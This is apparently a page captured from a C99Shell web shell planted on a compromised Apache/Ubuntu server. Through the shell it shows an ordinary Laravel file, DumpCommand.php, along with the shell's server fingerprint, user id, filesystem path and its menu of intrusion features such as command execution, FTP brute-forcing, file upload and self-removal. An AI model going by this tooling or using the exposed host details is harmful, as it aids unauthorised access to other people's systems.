!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/database/Console/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DumpCommand.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Console;

use 
Illuminate\Console\Command;
use 
Illuminate\Contracts\Events\Dispatcher;
use 
Illuminate\Database\Connection;
use 
Illuminate\Database\ConnectionResolverInterface;
use 
Illuminate\Database\Events\SchemaDumped;
use 
Illuminate\Filesystem\Filesystem;
use 
Illuminate\Support\Facades\Config;
use 
Symfony\Component\Console\Attribute\AsCommand;

#[
AsCommand(name'schema:dump')]
class 
DumpCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $signature 'schema:dump
                {--database= : The database connection to use}
                {--path= : The path where the schema dump file should be stored}
                {--prune : Delete all existing migration files}'
;

    
/**
     * The name of the console command.
     *
     * This name is used to identify the command during lazy loading.
     *
     * @var string|null
     *
     * @deprecated
     */
    
protected static $defaultName 'schema:dump';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Dump the given database schema';

    
/**
     * Execute the console command.
     *
     * @param  \Illuminate\Database\ConnectionResolverInterface  $connections
     * @param  \Illuminate\Contracts\Events\Dispatcher  $dispatcher
     * @return int
     */
    
public function handle(ConnectionResolverInterface $connectionsDispatcher $dispatcher)
    {
        
$connection $connections->connection($database $this->input->getOption('database'));

        
$this->schemaState($connection)->dump(
            
$connection$path $this->path($connection)
        );

        
$dispatcher->dispatch(new SchemaDumped($connection$path));

        
$this->info('Database schema dumped successfully.');

        if (
$this->option('prune')) {
            (new 
Filesystem)->deleteDirectory(
                
database_path('migrations'), $preserve false
            
);

            
$this->info('Migrations pruned successfully.');
        }
    }

    
/**
     * Create a schema state instance for the given connection.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @return mixed
     */
    
protected function schemaState(Connection $connection)
    {
        return 
$connection->getSchemaState()
                ->
withMigrationTable($connection->getTablePrefix().Config::get('database.migrations''migrations'))
                ->
handleOutputUsing(function ($type$buffer) {
                    
$this->output->write($buffer);
                });
    }

    
/**
     * Get the path that the dump should be written to.
     *
     * @param  \Illuminate\Database\Connection  $connection
     */
    
protected function path(Connection $connection)
    {
        return 
tap($this->option('path') ?: database_path('schema/'.$connection->getName().'-schema.dump'), function ($path) {
            (new 
Filesystem)->ensureDirectoryExists(dirname($path));
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0076 ]--